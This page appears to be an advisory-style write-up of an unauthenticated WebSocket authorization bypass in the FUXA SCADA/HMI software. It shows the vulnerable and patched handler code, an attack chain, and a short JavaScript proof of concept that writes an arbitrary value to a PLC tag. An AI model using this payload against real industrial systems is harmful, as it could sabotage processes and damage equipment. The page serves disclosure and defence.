CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GGXW-G3CP-MGF8

Ghost in the Machine: Unauthenticated Control in FUXA SCADA

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 5, 2026·6 min read·21 visits

Executive Summary (TL;DR)

FUXA failed to verify authorization on critical WebSocket events. Anyone who can reach the server port can send a JSON payload to modify device states (e.g., turn off a pump, change a temperature setpoint) or disable device drivers. No credentials required.

A critical authorization bypass in FUXA, an open-source web-based SCADA/HMI/Dashboard solution, allows unauthenticated remote attackers to hijack industrial control processes. By leveraging improperly secured WebSocket event handlers, an attacker can write arbitrary values to device tags or disable communication drivers entirely without ever logging in. In the context of Industrial Control Systems (ICS), this translates to the potential for physical damage, operational downtime, or unsafe equipment states, all executable from a simple WebSocket connection.

The Hook: SCADA for the Masses (and the Masses for SCADA)

FUXA is a modern, web-based SCADA (Supervisory Control and Data Acquisition) and HMI (Human-Machine Interface) solution. It’s designed to make industrial automation accessible, visualizing data from PLCs (Programmable Logic Controllers), Modbus devices, and OPC UA servers directly in a web browser. It’s sleek, it’s built on Node.js, and it’s open-source. It’s essentially the bridge between the messy, high-voltage world of industrial hardware and the clean, clicky world of web dashboards.

But here is the problem with bridging those two worlds: Web developers often treat WebSockets like trusted pipelines. The assumption is usually, "If they connected, they must be cool." In the high-stakes environment of ICS, where a variable change doesn't just update a database row but potentially spins a centrifuge up to 10,000 RPM, that assumption isn't just dangerous—it's negligent. This vulnerability isn't a complex memory corruption exploit; it's a fundamental logic error in how the application handles the "state" of a user. It’s the digital equivalent of checking someone’s ID at the front gate of a chemical plant, but then leaving the control room door unlocked and unmanned.

The Flaw: The WebSocket Blind Spot

The vulnerability resides in the server/runtime/index.js file, specifically within the WebSocket event loop. FUXA uses socket.io to handle real-time communication between the client (the browser dashboard) and the server (the runtime engine talking to the hardware). When a client connects, there is a handshake. There is even a JWT verification step to see if the user is a guest or an admin.

However, in the vulnerable versions, this authentication state was treated like a "nice to have" rather than a mandatory gatekeeper for critical actions. The application defined listeners for specific events, most notably DEVICE_VALUES and DEVICE_ENABLE. The DEVICE_VALUES handler allows the client to set a value on a tag. The DEVICE_ENABLE handler allows a client to turn a communication driver on or off.

Here is the kicker: Inside these event handlers, there was zero code to check if the socket sending the command actually belonged to an authorized user. The server would happily accept a set command from a socket that had just connected anonymously or as a read-only guest. It’s a classic Broken Access Control (CWE-285) issue, specifically tailored for the event-driven nature of WebSockets. The server checked the lock on the front door (login page) but left the window (WebSocket frames) wide open.

The Code: The Smoking Gun

Let's look at the code before the fix. It’s painfully simple, which makes it all the more terrifying. In server/runtime/index.js, the code listened for the DEVICE_VALUES event and immediately processed it.

Vulnerable Code (Before):

socket.on(Events.IoEventTypes.DEVICE_VALUES, (message) => {
    if (message.cmd === 'set' && message.var) {
        // Look ma, no hands! No auth checks!
        devices.setDeviceValue(message.var.source, message.var.id, message.var.value, message.fnc);
    }
});

See that? If the message command is set, it calls devices.setDeviceValue. It doesn't care who socket belongs to. It just does what it's told.

The Fix (Commit eb2d8a20964ce7acaa0f442a181390a5f726a1ae): The maintainer, unocelli, introduced a helper function isSocketWriteAuthorized(socket) that explicitly checks if the socket is authenticated and not a guest. They then wrapped the critical logic in this check.

// The new bouncer at the door
function isSocketWriteAuthorized(socket) {
    if (!settings.secureEnabled) return true;
    return socket.isAuthenticated;
}
 
// Inside the socket connection logic
socket.on(Events.IoEventTypes.DEVICE_VALUES, (message) => {
    if (message.cmd === 'set' && message.var) {
        // The new check
        if (!isSocketWriteAuthorized(socket)) {
            logger.warn(`${Events.IoEventTypes.DEVICE_VALUES}: unauthorized write attempt...`);
            return;
        }
        devices.setDeviceValue(message.var.source, message.var.id, message.var.value, message.fnc);
    }
});

The fix is elegant and simple: stop assuming. If the user isn't authorized, log a warning and drop the packet. This patch also fixed DEVICE_ENABLE in the exact same way.

The Exploit: Taking Control

Exploiting this does not require complex tooling. You don't need Metasploit. You don't need to overflow a buffer. You just need a WebSocket client. A browser console or a simple Python script using the websocket-client library is sufficient.

The Attack Chain:

  1. Recon: Identify a FUXA instance. The default port is usually 1881.
  2. Connect: Open a standard WebSocket connection to ws://target:1881/socket.io/?EIO=3&transport=websocket.
  3. Payload: Construct a JSON packet mimicking the DEVICE_VALUES event. We don't need a token. We don't need to login.

Proof of Concept (Conceptual):

// Connect to the vulnerable server
const socket = io('http://vulnerable-fuxa-server:1881');
 
socket.on('connect', () => {
    console.log('Connected! preparing payload...');
 
    // Construct the malicious packet
    // cmd: 'set' triggers the write
    // var: defines the target device tag
    const payload = {
        cmd: 'set',
        var: {
            source: 'Siemens_PLC_1', // The device name
            id: 'DB1.TEMP_OVERRIDE', // The tag ID
            value: 9999              // The dangerous value
        }
    };
 
    // Send it down the pipe
    socket.emit('DEVICE_VALUES', payload);
    console.log('Payload sent. Check the blast radius.');
});

If the server is running a vulnerable version, it will immediately pass 9999 to Siemens_PLC_1. If that tag controls a furnace temperature setpoint or a pressure valve release threshold, the physical consequences happen immediately.

The Impact: Why This Matters

In a typical web app, an IDOR or broken access control might lead to data leakage or defacement. In the world of SCADA and ICS, the impact is kinetic. FUXA is used to control real hardware—relays, motors, sensors, and PLCs.

An attacker exploiting this vulnerability has three main paths of destruction:

  1. Operational Disruption: By sending DEVICE_ENABLE with enable: false, an attacker can deafen the HMI. The dashboard stops updating, alarms stop firing, and operators are flying blind. This is a Denial of View attack.
  2. Process Sabotage: Writing arbitrary values to tags allows an attacker to alter the manufacturing process. They could change chemical mix ratios, speed up conveyor belts to unsafe velocities, or disable safety interlocks.
  3. Equipment Damage: Rapidly toggling a relay (chattering) or setting parameters outside of operational limits can physically destroy hardware.

This vulnerability bridges the gap between "IT Security" and "OT Safety" in the worst possible way. It allows a script kiddie with a WebSocket client to influence physical reality.

Official Patches

frangoteamCommit fixing the authorization logic in server/runtime/index.js

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Affected Systems

FUXA (SCADA/HMI/Dashboard)

Affected Versions Detail

Product
Affected Versions
Fixed Version
FUXA
frangoteam
< Commit eb2d8a20Commit eb2d8a20
AttributeDetail
CWE IDCWE-285
Attack VectorNetwork (WebSocket)
CVSS (Estimated)9.8 (Critical)
ImpactIntegrity, Availability
AuthenticationNone Required
Exploit StatusTrivial

MITRE ATT&CK Mapping

T1565.001Data Manipulation: Stored Data Manipulation
Impact
T1499.004Endpoint Denial of Service: Application or System Exploitation
Impact
T1190Exploit Public-Facing Application
Initial Access
CWE-285
Improper Authorization

Improper Authorization

Known Exploits & Detection

Internal AnalysisExploitation involves sending a standard JSON WebSocket frame with cmd: 'set' and arbitrary values.

Vulnerability Timeline

Vulnerability patched in commit eb2d8a20
2026-01-25
GitHub Advisory Published
2026-01-25

References & Sources

  • [1]GitHub Security Advisory
  • [2]FUXA Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 11 hours ago•CVE-2026-53359
8.8

CVE-2026-53359: Use-After-Free in Linux Kernel KVM Shadow MMU (Januscape)

Januscape (CVE-2026-53359) is a critical Use-After-Free vulnerability in the x86 Shadow MMU component of the Linux Kernel's KVM subsystem. A logic error in shadow page tracking permits unauthorized page reuse without validating architectural execution roles, leading to dangling pointers in reverse mapping (rmap) tracking entries during guest memory teardown.

Amit Schendel
Amit Schendel
51 views•5 min read
•about 11 hours ago•CVE-2026-48282
10.0

CVE-2026-48282: Unauthenticated Path Traversal and Arbitrary File Write in Adobe ColdFusion Remote Development Services

CVE-2026-48282 is a critical unauthenticated path traversal and arbitrary file write vulnerability in the Remote Development Services (RDS) component of Adobe ColdFusion. The vulnerability allows a remote, unauthenticated attacker to bypass directory boundaries and write arbitrary files, including CFML-based web shells, onto the host server. This flaw is actively exploited in the wild and enables full unauthenticated remote code execution under the privileges of the ColdFusion service account.

Alon Barad
Alon Barad
19 views•6 min read
•about 16 hours ago•GHSA-GQ4G-FPC9-VJFQ
2.3

GHSA-gq4g-fpc9-vjfq: Username Enumeration via Predictable Decoy Credentials in web-auth/webauthn-lib

An information disclosure vulnerability exists in the web-auth/webauthn-lib PHP library when using the default SimpleFakeCredentialGenerator without a configured secret. This allows unauthenticated remote attackers to determine if a username exists on the target application.

Alon Barad
Alon Barad
8 views•5 min read
•about 17 hours ago•GHSA-CWV4-H3J5-W3CF
3.7

GHSA-CWV4-H3J5-W3CF: Stored and Reflected Cross-Site Scripting in rama's Directory Listing Component

A Stored and Reflected Cross-Site Scripting (XSS) vulnerability was identified in the Rust web service library 'rama' prior to version 0.3.0-rc.1. When serving directories using DirectoryServeMode::HtmlFileList, the library improperly escapes directory names, filenames, and request path components before injecting them into dynamically generated HTML files. This allows attackers to execute malicious scripts inside user browser sessions.

Alon Barad
Alon Barad
7 views•7 min read
•about 17 hours ago•GHSA-Q855-8RH5-JFGQ
6.5

GHSA-Q855-8RH5-JFGQ: Missing Authentication and CSRF in ha-mcp bare root settings and policy routes

The ha-mcp add-on for Home Assistant exposes its settings and security policy routes without authentication at the bare root path of TCP port 9583. This exposure allows unauthorized adjacent network clients to reconfigure tools, alter policies, and bypass human-in-the-loop approval gates. The vulnerability has been addressed in development build 7.6.0.dev393 and subsequent releases by restricting access to root-mounted routes exclusively to the Supervisor Ingress IP.

Amit Schendel
Amit Schendel
6 views•8 min read
•about 18 hours ago•GHSA-F66Q-9RF6-8795
5.3

GHSA-f66q-9rf6-8795: WebAuthn Re-authentication Freshness Bypass in Flask-Security-Too

An authentication freshness bypass vulnerability exists in the WebAuthn re-authentication path of Flask-Security-Too versions 5.8.0 and 5.8.1. The flaw allows an authenticated attacker to elevate the freshness status of a victim session using their own WebAuthn credential, bypassing re-authentication constraints.

Amit Schendel
Amit Schendel
8 views•5 min read